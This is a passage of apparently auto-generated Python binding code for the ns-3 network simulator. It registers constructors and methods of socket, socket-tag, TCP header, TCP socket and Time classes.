'ns3::Ptr< ns3::Packet >',
[param('ns3::Address &', 'fromAddress')])
## socket.h (module 'network'): int ns3::Socket::RecvFrom(uint8_t * buf, uint32_t size, uint32_t flags, ns3::Address & fromAddress) [member function]
cls.add_method('RecvFrom',
'int',
[param('uint8_t *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags'), param('ns3::Address &', 'fromAddress')])
## socket.h (module 'network'): int ns3::Socket::Send(ns3::Ptr<ns3::Packet> p, uint32_t flags) [member function]
cls.add_method('Send',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Send(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('Send',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p')])
## socket.h (module 'network'): int ns3::Socket::Send(uint8_t const * buf, uint32_t size, uint32_t flags) [member function]
cls.add_method('Send',
'int',
[param('uint8_t const *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags')])
## socket.h (module 'network'): int ns3::Socket::SendTo(ns3::Ptr<ns3::Packet> p, uint32_t flags, ns3::Address const & toAddress) [member function]
cls.add_method('SendTo',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags'), param('ns3::Address const &', 'toAddress')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::SendTo(uint8_t const * buf, uint32_t size, uint32_t flags, ns3::Address const & address) [member function]
cls.add_method('SendTo',
'int',
[param('uint8_t const *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags'), param('ns3::Address const &', 'address')])
## socket.h (module 'network'): void ns3::Socket::SetAcceptCallback(ns3::Callback<bool, ns3::Ptr<ns3::Socket>, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionRequest, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> newConnectionCreated) [member function]
cls.add_method('SetAcceptCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::Socket >, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionRequest'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'newConnectionCreated')])
## socket.h (module 'network'): bool ns3::Socket::SetAllowBroadcast(bool allowBroadcast) [member function]
cls.add_method('SetAllowBroadcast',
'bool',
[param('bool', 'allowBroadcast')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::SetCloseCallbacks(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> normalClose, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> errorClose) [member function]
cls.add_method('SetCloseCallbacks',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'normalClose'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'errorClose')])
## socket.h (module 'network'): void ns3::Socket::SetConnectCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionSucceeded, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionFailed) [member function]
cls.add_method('SetConnectCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionSucceeded'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionFailed')])
## socket.h (module 'network'): void ns3::Socket::SetDataSentCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> dataSent) [member function]
cls.add_method('SetDataSentCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'dataSent')])
## socket.h (module 'network'): void ns3::Socket::SetRecvCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> arg0) [member function]
cls.add_method('SetRecvCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'arg0')])
## socket.h (module 'network'): void ns3::Socket::SetRecvPktInfo(bool flag) [member function]
cls.add_method('SetRecvPktInfo',
'void',
[param('bool', 'flag')])
## socket.h (module 'network'): void ns3::Socket::SetSendCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> sendCb) [member function]
cls.add_method('SetSendCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'sendCb')])
## socket.h (module 'network'): int ns3::Socket::ShutdownRecv() [member function]
cls.add_method('ShutdownRecv',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::ShutdownSend() [member function]
cls.add_method('ShutdownSend',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::NotifyConnectionFailed() [member function]
cls.add_method('NotifyConnectionFailed',
'void',
[],
visibility='protected')
## socket.h (module 'network'): bool ns3::Socket::NotifyConnectionRequest(ns3::Address const & from) [member function]
cls.add_method('NotifyConnectionRequest',
'bool',
[param('ns3::Address const &', 'from')],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyConnectionSucceeded() [member function]
cls.add_method('NotifyConnectionSucceeded',
'void',
[],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyDataRecv() [member function]
cls.add_method('NotifyDataRecv',
'void',
[],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyDataSent(uint32_t size) [member function]
cls.add_method('NotifyDataSent',
'void',
[param('uint32_t', 'size')],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyErrorClose() [member function]
cls.add_method('NotifyErrorClose',
'void',
[],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyNewConnectionCreated(ns3::Ptr<ns3::Socket> socket, ns3::Address const & from) [member function]
cls.add_method('NotifyNewConnectionCreated',
'void',
[param('ns3::Ptr< ns3::Socket >', 'socket'), param('ns3::Address const &', 'from')],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyNormalClose() [member function]
cls.add_method('NotifyNormalClose',
'void',
[],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifySend(uint32_t spaceAvailable) [member function]
cls.add_method('NotifySend',
'void',
[param('uint32_t', 'spaceAvailable')],
visibility='protected')
return
def register_Ns3SocketAddressTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketAddressTag::SocketAddressTag(ns3::SocketAddressTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketAddressTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketAddressTag::SocketAddressTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketAddressTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): ns3::Address ns3::SocketAddressTag::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Address',
[],
is_const=True)
## socket.h (module 'network'): ns3::TypeId ns3::SocketAddressTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::SocketAddressTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketAddressTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): void ns3::SocketAddressTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketAddressTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketAddressTag::SetAddress(ns3::Address addr) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Address', 'addr')])
return
def register_Ns3SocketFactory_methods(root_module, cls):
## socket-factory.h (module 'network'): ns3::SocketFactory::SocketFactory(ns3::SocketFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketFactory const &', 'arg0')])
## socket-factory.h (module 'network'): ns3::SocketFactory::SocketFactory() [constructor]
cls.add_constructor([])
## socket-factory.h (module 'network'): ns3::Ptr<ns3::Socket> ns3::SocketFactory::CreateSocket() [member function]
cls.add_method('CreateSocket',
'ns3::Ptr< ns3::Socket >',
[],
is_pure_virtual=True, is_virtual=True)
## socket-factory.h (module 'network'): static ns3::TypeId ns3::SocketFactory::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3SocketIpTtlTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketIpTtlTag::SocketIpTtlTag(ns3::SocketIpTtlTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketIpTtlTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketIpTtlTag::SocketIpTtlTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketIpTtlTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): ns3::TypeId ns3::SocketIpTtlTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::SocketIpTtlTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::SocketIpTtlTag::GetTtl() const [member function]
cls.add_method('GetTtl',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpTtlTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): void ns3::SocketIpTtlTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpTtlTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpTtlTag::SetTtl(uint8_t ttl) [member function]
cls.add_method('SetTtl',
'void',
[param('uint8_t', 'ttl')])
return
def register_Ns3SocketSetDontFragmentTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketSetDontFragmentTag::SocketSetDontFragmentTag(ns3::SocketSetDontFragmentTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketSetDontFragmentTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketSetDontFragmentTag::SocketSetDontFragmentTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Disable() [member function]
cls.add_method('Disable',
'void',
[])
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Enable() [member function]
cls.add_method('Enable',
'void',
[])
## socket.h (module 'network'): ns3::TypeId ns3::SocketSetDontFragmentTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::SocketSetDontFragmentTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketSetDontFragmentTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): bool ns3::SocketSetDontFragmentTag::IsEnabled() const [member function]
cls.add_method('IsEnabled',
'bool',
[],
is_const=True)
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
return
def register_Ns3TcpHeader_methods(root_module, cls):
## tcp-header.h (module 'internet'): ns3::TcpHeader::TcpHeader(ns3::TcpHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TcpHeader const &', 'arg0')])
## tcp-header.h (module 'internet'): ns3::TcpHeader::TcpHeader() [constructor]
cls.add_constructor([])
## tcp-header.h (module 'internet'): uint32_t ns3::TcpHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## tcp-header.h (module 'internet'): void ns3::TcpHeader::EnableChecksums() [member function]
cls.add_method('EnableChecksums',
'void',
[])
## tcp-header.h (module 'internet'): ns3::SequenceNumber32 ns3::TcpHeader::GetAckNumber() const [member function]
cls.add_method('GetAckNumber',
'ns3::SequenceNumber32',
[],
is_const=True)
## tcp-header.h (module 'internet'): uint16_t ns3::TcpHeader::GetDestinationPort() const [member function]
cls.add_method('GetDestinationPort',
'uint16_t',
[],
is_const=True)
## tcp-header.h (module 'internet'): uint8_t ns3::TcpHeader::GetFlags() const [member function]
cls.add_method('GetFlags',
'uint8_t',
[],
is_const=True)
## tcp-header.h (module 'internet'): ns3::TypeId ns3::TcpHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## tcp-header.h (module 'internet'): uint8_t ns3::TcpHeader::GetLength() const [member function]
cls.add_method('GetLength',
'uint8_t',
[],
is_const=True)
## tcp-header.h (module 'internet'): ns3::SequenceNumber32 ns3::TcpHeader::GetSequenceNumber() const [member function]
cls.add_method('GetSequenceNumber',
'ns3::SequenceNumber32',
[],
is_const=True)
## tcp-header.h (module 'internet'): uint32_t ns3::TcpHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## tcp-header.h (module 'internet'): uint16_t ns3::TcpHeader::GetSourcePort() const [member function]
cls.add_method('GetSourcePort',
'uint16_t',
[],
is_const=True)
## tcp-header.h (module 'internet'): static ns3::TypeId ns3::TcpHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## tcp-header.h (module 'internet'): uint16_t ns3::TcpHeader::GetUrgentPointer() const [member function]
cls.add_method('GetUrgentPointer',
'uint16_t',
[],
is_const=True)
## tcp-header.h (module 'internet'): uint16_t ns3::TcpHeader::GetWindowSize() const [member function]
cls.add_method('GetWindowSize',
'uint16_t',
[],
is_const=True)
## tcp-header.h (module 'internet'): void ns3::TcpHeader::InitializeChecksum(ns3::Ipv4Address source, ns3::Ipv4Address destination, uint8_t protocol) [member function]
cls.add_method('InitializeChecksum',
'void',
[param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'destination'), param('uint8_t', 'protocol')])
## tcp-header.h (module 'internet'): bool ns3::TcpHeader::IsChecksumOk() const [member function]
cls.add_method('IsChecksumOk',
'bool',
[],
is_const=True)
## tcp-header.h (module 'internet'): void ns3::TcpHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## tcp-header.h (module 'internet'): void ns3::TcpHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## tcp-header.h (module 'internet'): void ns3::TcpHeader::SetAckNumber(ns3::SequenceNumber32 ackNumber) [member function]
cls.add_method('SetAckNumber',
'void',
[param('ns3::SequenceNumber32', 'ackNumber')])
## tcp-header.h (module 'internet'): void ns3::TcpHeader::SetDestinationPort(uint16_t port) [member function]
cls.add_method('SetDestinationPort',
'void',
[param('uint16_t', 'port')])
## tcp-header.h (module 'internet'): void ns3::TcpHeader::SetFlags(uint8_t flags) [member function]
cls.add_method('SetFlags',
'void',
[param('uint8_t', 'flags')])
## tcp-header.h (module 'internet'): void ns3::TcpHeader::SetLength(uint8_t length) [member function]
cls.add_method('SetLength',
'void',
[param('uint8_t', 'length')])
## tcp-header.h (module 'internet'): void ns3::TcpHeader::SetSequenceNumber(ns3::SequenceNumber32 sequenceNumber) [member function]
cls.add_method('SetSequenceNumber',
'void',
[param('ns3::SequenceNumber32', 'sequenceNumber')])
## tcp-header.h (module 'internet'): void ns3::TcpHeader::SetSourcePort(uint16_t port) [member function]
cls.add_method('SetSourcePort',
'void',
[param('uint16_t', 'port')])
## tcp-header.h (module 'internet'): void ns3::TcpHeader::SetUrgentPointer(uint16_t urgentPointer) [member function]
cls.add_method('SetUrgentPointer',
'void',
[param('uint16_t', 'urgentPointer')])
## tcp-header.h (module 'internet'): void ns3::TcpHeader::SetWindowSize(uint16_t windowSize) [member function]
cls.add_method('SetWindowSize',
'void',
[param('uint16_t', 'windowSize')])
return
def register_Ns3TcpSocket_methods(root_module, cls):
## tcp-socket.h (module 'internet'): ns3::TcpSocket::TcpSocket(ns3::TcpSocket const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TcpSocket const &', 'arg0')])
## tcp-socket.h (module 'internet'): ns3::TcpSocket::TcpSocket() [constructor]
cls.add_constructor([])
## tcp-socket.h (module 'internet'): static ns3::TypeId ns3::TcpSocket::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## tcp-socket.h (module 'internet'): ns3::TcpSocket::TcpStateName [variable]
cls.add_static_attribute('TcpStateName', 'char const * [ 11 ] const', is_const=True)
## tcp-socket.h (module 'internet'): uint32_t ns3::TcpSocket::GetConnCount() const [member function]
cls.add_method('GetConnCount',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): ns3::Time ns3::TcpSocket::GetConnTimeout() const [member function]
cls.add_method('GetConnTimeout',
'ns3::Time',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): uint32_t ns3::TcpSocket::GetDelAckMaxCount() const [member function]
cls.add_method('GetDelAckMaxCount',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): ns3::Time ns3::TcpSocket::GetDelAckTimeout() const [member function]
cls.add_method('GetDelAckTimeout',
'ns3::Time',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): uint32_t ns3::TcpSocket::GetInitialCwnd() const [member function]
cls.add_method('GetInitialCwnd',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): ns3::Time ns3::TcpSocket::GetPersistTimeout() const [member function]
cls.add_method('GetPersistTimeout',
'ns3::Time',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): uint32_t ns3::TcpSocket::GetRcvBufSize() const [member function]
cls.add_method('GetRcvBufSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): uint32_t ns3::TcpSocket::GetSSThresh() const [member function]
cls.add_method('GetSSThresh',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): uint32_t ns3::TcpSocket::GetSegSize() const [member function]
cls.add_method('GetSegSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): uint32_t ns3::TcpSocket::GetSndBufSize() const [member function]
cls.add_method('GetSndBufSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetConnCount(uint32_t count) [member function]
cls.add_method('SetConnCount',
'void',
[param('uint32_t', 'count')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetConnTimeout(ns3::Time timeout) [member function]
cls.add_method('SetConnTimeout',
'void',
[param('ns3::Time', 'timeout')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetDelAckMaxCount(uint32_t count) [member function]
cls.add_method('SetDelAckMaxCount',
'void',
[param('uint32_t', 'count')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetDelAckTimeout(ns3::Time timeout) [member function]
cls.add_method('SetDelAckTimeout',
'void',
[param('ns3::Time', 'timeout')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetInitialCwnd(uint32_t count) [member function]
cls.add_method('SetInitialCwnd',
'void',
[param('uint32_t', 'count')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetPersistTimeout(ns3::Time timeout) [member function]
cls.add_method('SetPersistTimeout',
'void',
[param('ns3::Time', 'timeout')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetRcvBufSize(uint32_t size) [member function]
cls.add_method('SetRcvBufSize',
'void',
[param('uint32_t', 'size')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetSSThresh(uint32_t threshold) [member function]
cls.add_method('SetSSThresh',
'void',
[param('uint32_t', 'threshold')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetSegSize(uint32_t size) [member function]
cls.add_method('SetSegSize',
'void',
[param('uint32_t', 'size')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## tcp-socket.h (module 'internet'): void ns3::TcpSocket::SetSndBufSize(uint32_t size) [member function]
cls.add_method('SetSndBufSize',
'void',
[param('uint32_t', 'size')],
is_pure_virtual=True, visibility='private', is_virtual=True)
return
def register_Ns3TcpSocketFactory_methods(root_module, cls):
## tcp-socket-factory.h (module 'internet'): ns3::TcpSocketFactory::TcpSocketFactory() [constructor]
cls.add_constructor([])
## tcp-socket-factory.h (module 'internet'): ns3::TcpSocketFactory::TcpSocketFactory(ns3::TcpSocketFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TcpSocketFactory const &', 'arg0')])
## tcp-socket-factory.h (module 'internet'): static ns3::TypeId ns3::TcpSocketFactory::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3Time_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_inplace_numeric_operator('+=', param('ns3::Time const &', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::Time'], root_module['ns3::Time'], param('ns3::Time const &', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::Time'], root_module['ns3::Time'], param('ns3::Time const &', 'right'))
cls.add_binary_comparison_operator('<')
cls.add_binary_comparison_operator('>')
cls.add_inplace_numeric_operator('-=', param('ns3::Time const &', 'right'))
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('<=')
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('>=')
## nstime.h (module 'core'): ns3::Time::Time() [constructor]
cls.add_constructor([])
## nstime.h (module 'core'): ns3::Time::Time(ns3::Time const & o) [copy constructor]
cls.add_constructor([param('ns3::Time const &', 'o')])
## nstime.h (module 'core'): ns3::Time::Time(double v) [constructor]
cls.add_constructor([param('double', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(int v) [constructor]
cls.add_constructor([param('int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(long int v) [constructor]
cls.add_constructor([param('long int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(long long int v) [constructor]
cls.add_constructor([param('long long int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(unsigned int v) [constructor]
cls.add_constructor([param('unsigned int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(long unsigned int v) [constructor]
cls.add_constructor([param('long unsigned int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(long long unsigned int v) [constructor]
cls.add_constructor([param('long long unsigned int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(std::string const & s) [constructor]
cls.add_constructor([param('std::string const &', 's')])
## nstime.h (module 'core'): ns3::Time::Time(ns3::int64x64_t const & value) [constructor]
cls.add_constructor([param('ns3::int64x64_t const &', 'value')])
## nstime.h (module 'core'): int ns3::Time::Compare(ns3::Time const & o) const [member function]
cls.add_method('Compare',
'int',
[param('ns3::Time const &', 'o')],
is_const=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::From(ns3::int64x64_t const & from, ns3::Time::Unit timeUnit) [member function]
cls.add_method('From',
'ns3::Time',
[param('ns3::int64x64_t const &', 'from'), param('ns3::Time::Unit', 'timeUnit')],
is_static=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::From(ns3::int64x64_t const & value) [member function]
cls.add_method('From',
'ns3::Time',
[param('ns3::int64x64_t const &', 'value')],
is_static=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::FromDouble(double value, ns3::Time::Unit timeUnit) [member function]
cls.add_method('FromDouble',
'ns3::Time',
[param('double', 'value'), param('ns3::Time::Unit', 'timeUnit')],
is_static=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::FromInteger(uint64_t value, ns3::Time::Unit timeUnit) [member function]
cls.add_method('FromInteger',
'ns3::Time',
[param('uint64_t', 'value'), param('ns3::Time::Unit', 'timeUnit')],
is_static=True)
## nstime.h (module 'core'): double ns3::Time::GetDouble() const [member function]
cls.add_method('GetDouble',
'double',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetFemtoSeconds() const [member function]
cls.add_method('GetFemtoSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetInteger() const [member function]
cls.add_method('GetInteger',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetMicroSeconds() const [member function]
cls.add_method('GetMicroSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetMilliSeconds() const [member function]
cls.add_method('GetMilliSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetNanoSeconds() const [member function]
cls.add_method('GetNanoSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetPicoSeconds() const [member function]
cls.add_method('GetPicoSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): static ns3::Time::Unit ns3::Time::GetResolution() [member function]
cls.add_method('GetResolution',
'ns3::Time::Unit',
[],
is_static=True)
## nstime.h (module 'core'): double ns3::Time::GetSeconds() const [member function]
cls.add_method('GetSeconds',
'double',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetTimeStep() const [member function]
cls.add_method('GetTimeStep',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsNegative() const [member function]
cls.add_method('IsNegative',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsPositive() const [member function]
cls.add_method('IsPositive',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsStrictlyNegative() const [member function]
cls.add_method('IsStrictlyNegative',
'bool',
[],
is_const=True)
